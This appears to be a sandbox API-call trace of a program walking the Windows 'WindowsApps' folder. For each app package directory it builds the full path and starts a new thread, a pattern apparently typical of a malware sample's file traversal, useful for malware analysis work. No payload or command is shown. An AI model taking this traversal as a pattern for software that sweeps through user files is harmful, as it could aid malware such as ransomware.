	[0078.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4986320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc8
	[0078.823] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe563d29, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0e615f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x716c6041, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe", cAlternateFileName="MI5B39~1.SCA")) returned 1
	[0078.823] wcscmp (_String1="Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.823] wcscmp (_String1="Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477f8b0
	[0078.823] wcscpy (in: _Dest=0x477f8b0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.823] wcscat (in: _Dest=0x477f8b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.823] wcscat (in: _Dest=0x477f8b0, _Source="Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0078.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477f8b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdcc
	[0078.824] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d169f9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI10C6~1.SCA")) returned 1
	[0078.824] wcscmp (_String1="Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.824] wcscmp (_String1="Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.824] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477fa70
	[0078.824] wcscpy (in: _Dest=0x477fa70, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.824] wcscat (in: _Dest=0x477fa70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.824] wcscat (in: _Dest=0x477fa70, _Source="Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0078.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477fa70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd0
	[0078.825] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86e61487, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe", cAlternateFileName="MI5D6F~1.SCA")) returned 1
	[0078.825] wcscmp (_String1="Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.825] wcscmp (_String1="Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477e3b0
	[0078.825] wcscpy (in: _Dest=0x477e3b0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.825] wcscat (in: _Dest=0x477e3b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.825] wcscat (in: _Dest=0x477e3b0, _Source="Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0078.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477e3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd4
	[0078.826] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845121d2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI0911~1.0_X")) returned 1
	[0078.826] wcscmp (_String1="Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.826] wcscmp (_String1="Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2ddc398
	[0078.826] wcscpy (in: _Dest=0x2ddc398, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.826] wcscat (in: _Dest=0x2ddc398, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.826] wcscat (in: _Dest=0x2ddc398, _Source="Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe"
	[0078.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddc398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd8
	[0078.826] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84322329, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe8c7dd6a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8c7dd6a, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIC62C~1.0_N")) returned 1
	[0078.827] wcscmp (_String1="Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.827] wcscmp (_String1="Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x47cb418
	[0078.827] wcscpy (in: _Dest=0x47cb418, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.827] wcscat (in: _Dest=0x47cb418, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.827] wcscat (in: _Dest=0x47cb418, _Source="Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe"
	[0078.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47cb418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xddc
	[0078.827] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x485b9d47, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MIB044~1.SCA")) returned 1
	[0078.827] wcscmp (_String1="Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.827] wcscmp (_String1="Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477eff0
	[0078.827] wcscpy (in: _Dest=0x477eff0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.827] wcscat (in: _Dest=0x477eff0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.827] wcscat (in: _Dest=0x477eff0, _Source="Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0078.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477eff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde0
	[0078.828] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x479ad420, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI41D1~1.0_X")) returned 1
	[0078.828] wcscmp (_String1="Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.828] wcscmp (_String1="Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.828] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddc0b8
	[0078.828] wcscpy (in: _Dest=0x2ddc0b8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.828] wcscat (in: _Dest=0x2ddc0b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.828] wcscat (in: _Dest=0x2ddc0b8, _Source="Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe"
	[0078.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddc0b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde4
	[0078.829] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47932bea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI6662~1.0_N")) returned 1
	[0079.042] wcscmp (_String1="Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.042] wcscmp (_String1="Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.042] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4769728
	[0079.042] wcscpy (in: _Dest=0x4769728, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.042] wcscat (in: _Dest=0x4769728, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.042] wcscat (in: _Dest=0x4769728, _Source="Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe"
	[0079.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4769728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960
	[0079.043] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8c485e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xee789c53, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee789c53, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI4B57~1.SCA")) returned 1
	[0079.043] wcscmp (_String1="Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.043] wcscmp (_String1="Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4767ee8
	[0079.043] wcscpy (in: _Dest=0x4767ee8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.043] wcscat (in: _Dest=0x4767ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.043] wcscat (in: _Dest=0x4767ee8, _Source="Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0079.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4767ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100c
	[0079.044] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c079ab6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xee763a10, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee763a10, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI7930~1.0_X")) returned 1
	[0079.044] wcscmp (_String1="Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.044] wcscmp (_String1="Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4769968
	[0079.044] wcscpy (in: _Dest=0x4769968, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.044] wcscat (in: _Dest=0x4769968, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.044] wcscat (in: _Dest=0x4769968, _Source="Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe"
	[0079.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4769968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1010
	[0079.044] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bcf41f6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xee763a10, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee763a10, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIE825~1.0_N")) returned 1
	[0079.045] wcscmp (_String1="Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.045] wcscmp (_String1="Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.045] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47e9290
	[0079.045] wcscpy (in: _Dest=0x47e9290, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.045] wcscat (in: _Dest=0x47e9290, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.045] wcscat (in: _Dest=0x47e9290, _Source="Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe"
	[0079.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1014
	[0079.045] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924af4b0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe", cAlternateFileName="MIAB71~1.SCA")) returned 1
	[0079.045] wcscmp (_String1="Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.045] wcscmp (_String1="Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.045] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477e8f0
	[0079.045] wcscpy (in: _Dest=0x477e8f0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.045] wcscat (in: _Dest=0x477e8f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.046] wcscat (in: _Dest=0x477e8f0, _Source="Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0079.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477e8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1018
	[0079.046] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92a96d25, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe", cAlternateFileName="MIA7A5~1.SCA")) returned 1
	[0079.046] wcscmp (_String1="Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.046] wcscmp (_String1="Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477df50
	[0079.046] wcscpy (in: _Dest=0x477df50, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.046] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.046] wcscat (in: _Dest=0x477df50, _Source="Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0079.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477df50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x101c
	[0079.047] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91aa5e6e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf0eba822, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0eba822, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIA450~1.0_N")) returned 1
	[0079.047] wcscmp (_String1="Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.047] wcscmp (_String1="Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.047] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a268
	[0079.047] wcscpy (in: _Dest=0x476a268, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.047] wcscat (in: _Dest=0x476a268, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.047] wcscat (in: _Dest=0x476a268, _Source="Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe"
